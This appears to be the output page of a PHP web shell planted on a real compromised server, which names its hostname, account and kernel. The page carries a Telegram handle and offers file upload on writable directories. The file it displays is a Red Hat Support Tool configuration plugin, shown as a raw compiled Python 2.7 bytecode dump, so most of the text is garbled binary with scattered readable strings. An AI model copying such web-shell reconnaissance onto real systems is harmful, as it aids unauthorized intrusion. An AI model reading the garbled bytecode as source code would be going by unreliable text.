https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/redhat_support_tool/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/redhat_support_tool/plugins/config.pyc
�
��Tc@s�ddlmZddlmZmZddlmZddlZddlj	j
Z
ddlj	jZddlZdZ
dZ
ejd�Zdefd	��YZdS(
i����(tOption(tEmptyValueErrort_(tPluginNs%Keith Robertson <kroberts@redhat.com>sRex White <rexwhite@redhat.com>s"redhat_support_tool.plugins.configtConfigcBsveZdZed��Zed��Zed��Zed��Zed��Zed��Z	ee
d��Zee
d��Zed	��Z
ee
d
��Zed��Zee
d��Zed
��Zee
d��Zed��Zee
d��Zee
d��Zed��Zee
d��Zed��Zee
d��Zd�Zd�ZRS(tconfigcCs
td�S(s�
        The usage statement that will be printed by OptionParser.

        Example:
            - %prog -c CASENUMBER [options] <comment text here>
        Important: %prog is a OptionParser built-in.  Use it!
        s0%prog [options] config.option <new option value>(R(tcls((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pyt	get_usage$s	cCstd�|jS(s�
        The description statement that will be printed by OptionParser.

        Example:
            - 'Use the '%s' command to add a comment to a case.'             % cls.plugin_name
        s=Use the '%s' command to set or get configuration file values.(Rtplugin_name(R((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytget_desc/s		cCsttd�}tj�}x6|j�D](\}}t|d�}||�}q%Wtd�||j|j|jfS(s
        The epilog string that will be printed by OptionParser.  Usually
        used to print an example of how to use the program.

        Example:
         Examples:
          - %s -c 12345678 Lorem ipsum dolor sit amet, consectetur adipisicing
          - %s -c 12345678
        s6
The configuration file options which can be set are:
tconfig_helpsC%s
Examples:
- %s user
- %s user my-rhn-username
- %s --unset user
(Rtcommontget_plugin_dicttitemstgetattrR(Rtoptionstpluginstp_nametp_classtfunc((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pyt
get_epilog;s	cCsbtdddddtdtjj�ddd	t�td
ddddtd
�ddd	t�gS(sO
        Subclasses that need command line options should override this method
        and return an array of optparse.Option(s) to be used by the
        OptionParser.

        Example:
         return [Option("-f", "--file", action="store",
                        dest="filename", help='Some file'),
                 Option("-c", "--case",
                        action="store", dest="casenumber",
                        help='A case')]

         Would produce the following:
         Command (? for help): help mycommand

         Usage: mycommand [options]

         Use the 'mycommand' command to find a knowledge base solution by ID
         Options:
           -h, --help  show this help message and exit
           -f, --file  Some file
           -c, --case  A case
         Example:
          - mycommand -c 12345 -f abc.txt

        s-gs--globaltdesttglobalthelps Save configuration option in %s.tactiont
store_truetdefaults-us--unsettunsetsUnset configuration option.(RRtconfighelpertConfigHelpertGLOBAL_CONFIG_FILEtFalse(R((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytget_optionsUscCs�dd}|dd}|dd}|ddtd	�tjjf}|dd
td�f}|ddtd
�f}|ddtd�f}|ddtd�f7}|ddtd�tjjf7}|S(sQ
        Return descriptions for all the intrinsic configuration options
        s %-10s: %-67s
tusers!The Red Hat Customer Portal user.tpasswords%The Red Hat Customer Portal password.tdebugs(CRITICAL, ERROR, WARNING, INFO, or DEBUGturls%The support services URL.  Default=%st	proxy_urlsA proxy server URL.t
proxy_usersA proxy server user.tproxy_passwords%A password for the proxy server user.tssl_cas>Path to certificate authorities to trust during communication.tkern_debug_dirs\Path to the directory where kernel debug symbols should be downloaded and cached. Default=%s(susers!The Red Hat Customer Portal user.(R"s%The Red Hat Customer Portal password.(sdebugs(CRITICAL, ERROR, WARNING, INFO, or DEBUG(RRRtDEFAULT_URLtDEFAULT_KERN_DEBUG_DIR(tselfR((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pyR
~s*			cCs"tj�}|jdddd�S(NtsectiontRHHelptoptionR!(Rtget_config_helpertget(Rtcfg((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_get_user�scCs8tj�}|jddddd|dtd|�dS(NR-R.R/R!tvaluetpersistt
global_config(RR0tsettTrue(RR!R6R2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_set_user�scCs&tj�}|jdtd|�dS(NtpromptR6(RR0tprompt_for_passwordR(RR6R2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_set_password�scCs"tj�}|jdddd�S(NR-R.R/R#(RR0R1(RR2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_get_debug�scCs`|tjkrFtj�}|jddddd|dtd|�nttd�|��dS(	NR-R.R/R#R4R5R6s %s is not a valid logging level.(tloggingt_levelNamesRR0R7R8RR(RR#R6R2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_set_debug�scCs"tj�}|jdddd�S(NR-R.R/R$(RR0R1(RR2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_get_url�scCs8tj�}|jddddd|dtd|�dS(NR-R.R/R$R4R5R6(RR0R7R8(RR$R6R2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_set_url�s!cCs"tj�}|jdddd�S(NR-R.R/R%(RR0R1(RR2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_get_proxy_url�scCs8tj�}|jddddd|dtd|�dS(NR-R.R/R%R4R5R6(RR0R7R8(RR$R6R2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_set_proxy_url�s!cCs"tj�}|jdddd�S(NR-R.R/R&(RR0R1(RR2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_get_proxy_user�scCs8tj�}|jddddd|dtd|�dS(NR-R.R/R&R4R5R6(RR0R7R8(RR!R6R2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_set_proxy_user�scCs&tj�}|jdtd|�dS(NR:R6(RR0tprompt_for_proxy_passwordR(RR6R2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_set_proxy_password�scCs"tj�}|jdddd�S(NR-R.R/R((RR0R1(RR2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_get_ssl_ca�scCsqtj�}tj|tj�sEtd�|}|GHt|��n|jddddd|dtd|�dS(	Ns Unable to read certificate at %sR-R.R/R(R4R5R6(	RR0tostaccesstR_OKRt	ExceptionR7R8(RR(R6R2tmsg((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_set_ssl_ca�scCs"tj�}|jdddd�S(NR-R.R/R)(RR0R1(RR2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_get_kern_debug_dir�scCs8tj�}|jddddd|dtd|�dS(NR-R.R/R)R4R5R6(RR0R7R8(RR)R6R2((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytconfig_set_kern_debug_dir�scCs4|js0td�|j}|GHt|��ndS(NsFERROR: %s requires the name of an option to be set in the config file.(t_argsRRRM(R,RN((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pyt
validate_argss
		
cCs0|jdrt}nt}t|j�dkr4n�|jdjd�}t|�dkrod}|d}n|d}|d}|dkr�|j}ntj�|}y�|jdr�t	j
�}|j|||�n�|dkr�|jd|�n�|d	kr|j
d|�nut|j�dkrNt|d
|�}|�GHnBt|j�dkr�t|d|�}||jdd|�nWn�tk
r�td
�|jd}|GHtjtj|��nVtk
r}	|	GHtjtj|	��n)tk
r+}
tjtj|
��nXdS(NRit.iR.RR"R6R'tconfig_get_itconfig_set_s3ERROR: %s is not a valid configuration file option.(t_optionsR8RtlenRRtsplitt	__class__RRRR0t
remove_optionR<RHRtAttributeErrorRtloggertlogR>tWARNINGRRM(R,R6R
R-R/t	opt_classR2RRNtevete((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pytnon_interactive_action	sT
	




	(t__name__t
__module__RtclassmethodRR	RR R
R3RR9R<R=R@RARBRCRDRERFRHRIRORPRQRSRc(((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pyR!sB)			(toptparseRt(redhat_support_tool.helpers.confighelperRRtredhat_support_tool.pluginsRR>t"redhat_support_tool.helpers.commonthelpersRRRJt
__author__t	getLoggerR]R(((sF/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/config.pyt<module>s

https://t.me/AnonymousX5 - 2025